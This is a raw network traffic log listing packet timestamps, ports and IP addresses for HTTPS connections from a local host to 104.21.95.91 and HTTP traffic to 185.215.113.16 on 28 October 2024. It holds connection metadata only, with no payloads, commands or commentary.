Oct 28, 2024 08:17:14.931507111 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.931548119 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:14.931556940 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.932046890 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.932096958 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:14.932104111 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.932153940 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.932192087 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.932208061 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:14.932215929 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:14.932260036 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.048219919 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.048322916 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.048382044 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.048394918 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.048516035 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.048559904 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.048574924 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.048640013 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.048685074 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.048789978 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.048800945 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.048815012 CET	49708	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.048823118 CET	443	49708	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.198455095 CET	49709	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.198482037 CET	443	49709	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.198560953 CET	49709	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.198889971 CET	49709	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.198906898 CET	443	49709	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.815069914 CET	443	49709	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.815149069 CET	49709	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.816574097 CET	49709	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.816585064 CET	443	49709	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.816812038 CET	443	49709	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:15.818073034 CET	49709	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.818284035 CET	49709	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:15.818315983 CET	443	49709	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:38.955286980 CET	443	49709	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:38.955399990 CET	443	49709	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:38.955501080 CET	49709	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:38.956192970 CET	49709	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:38.956207991 CET	443	49709	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:39.141050100 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:39.141077995 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:39.141195059 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:39.141491890 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:39.141505957 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:39.755801916 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:39.755887985 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:39.757592916 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:39.757600069 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:39.757917881 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:39.767096996 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:39.767246962 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:39.767281055 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:39.767354965 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:39.767360926 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:40.616214991 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:40.616302013 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:40.616359949 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:40.616549969 CET	49758	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:40.616564989 CET	443	49758	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:40.847094059 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:40.847132921 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:40.847275019 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:40.847651958 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:40.847665071 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:41.465703011 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:41.465779066 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:41.467647076 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:41.467655897 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:41.468049049 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:41.469552994 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:41.469738960 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:41.469763994 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:17:41.469996929 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:17:41.470006943 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:00.835832119 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:00.835963964 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:00.836033106 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:00.836239100 CET	49759	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:00.836252928 CET	443	49759	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:01.513631105 CET	49760	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:01.513662100 CET	443	49760	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:01.513734102 CET	49760	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:01.514172077 CET	49760	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:01.514187098 CET	443	49760	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:02.132150888 CET	443	49760	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:02.132252932 CET	49760	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:02.133562088 CET	49760	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:02.133570910 CET	443	49760	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:02.133780003 CET	443	49760	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:02.135008097 CET	49760	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:02.135081053 CET	49760	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:02.135086060 CET	443	49760	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:12.396676064 CET	49760	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:12.977147102 CET	49762	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:12.977214098 CET	443	49762	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:12.977314949 CET	49762	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:12.977880001 CET	49762	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:12.977894068 CET	443	49762	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:13.746620893 CET	49762	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:13.760324955 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:13.760381937 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:13.760543108 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:13.760885000 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:13.760898113 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:14.577326059 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:14.577414989 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:14.579344988 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:14.579356909 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:14.579729080 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:14.581331015 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:14.581360102 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:14.581420898 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:15.106961012 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:15.107090950 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:15.107394934 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:15.107533932 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:15.107543945 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:15.107563972 CET	49763	443	192.168.2.5	104.21.95.91
Oct 28, 2024 08:18:15.107569933 CET	443	49763	104.21.95.91	192.168.2.5
Oct 28, 2024 08:18:15.120176077 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:15.125611067 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:15.125816107 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:15.126024961 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:15.131284952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.022633076 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.022725105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.022736073 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.022747993 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.022767067 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.022779942 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.022793055 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.022799015 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.022842884 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.023684978 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.023696899 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.023710012 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.023752928 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.023787022 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.028325081 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.028382063 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.028393030 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.028454065 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.174650908 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.174700022 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.174711943 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.174755096 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.174788952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.174799919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.174812078 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.174823999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.174827099 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.174834967 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.174859047 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.174885988 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.175474882 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.175486088 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.175497055 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.175508022 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.175519943 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.175523996 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.175558090 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.176297903 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.176343918 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.176357031 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.176383972 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.176402092 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.176404953 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.176414013 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.176450014 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.177336931 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.177381992 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.177393913 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.177405119 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.177434921 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.177434921 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.177453041 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.180186987 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.180274963 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.326157093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326174974 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326195002 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326206923 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326226950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326226950 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.326237917 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326251030 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326256990 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.326262951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326307058 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.326447964 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326457977 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326499939 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.326595068 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326606035 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326617956 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326630116 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326642036 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.326662064 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.326909065 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326920986 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326936960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326956034 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326961994 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.326968908 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326982021 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.326987982 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.327008963 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.327491045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327544928 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327557087 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327568054 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327584982 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.327610970 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.327836990 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327851057 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327877998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327883959 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.327889919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327900887 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327914000 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327925920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327936888 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.327956915 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327966928 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.327967882 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327980995 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.327989101 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.328016996 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.328747034 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328833103 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328846931 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328859091 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328872919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328883886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328886032 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.328902960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328908920 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.328915119 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328926086 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.328926086 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328938961 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.328958035 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.328982115 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.329713106 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.329725981 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.329737902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.329756021 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.331618071 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.331665039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.477936029 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.477979898 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.477989912 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478038073 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478060961 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478070974 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478080988 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478091002 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478094101 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478106022 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478116035 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478117943 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478147030 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478157997 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478164911 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478167057 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478185892 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478202105 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478281975 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478359938 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478369951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478380919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478394032 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478399992 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478416920 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478451967 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478462934 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478473902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478496075 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478521109 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478558064 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478569031 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478579044 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478600025 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478621960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478655100 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478657961 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478669882 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478698015 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478754997 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478765965 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478799105 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478877068 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478888988 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478918076 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.478969097 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478980064 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.478991032 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479001999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479010105 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479036093 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479145050 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479156017 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479166031 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479180098 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479186058 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479212999 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479232073 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479243040 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479254007 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479265928 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479275942 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479279041 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479306936 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479367971 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479378939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479388952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479398966 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479404926 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479417086 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479429007 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479433060 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479439974 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479450941 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479463100 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479463100 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.479481936 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.479497910 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.483669996 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.483681917 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.483691931 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.483710051 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.483721018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.483727932 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.483732939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.483746052 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.483757019 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.483766079 CET	49764	80	192.168.2.5	185.215.113.16
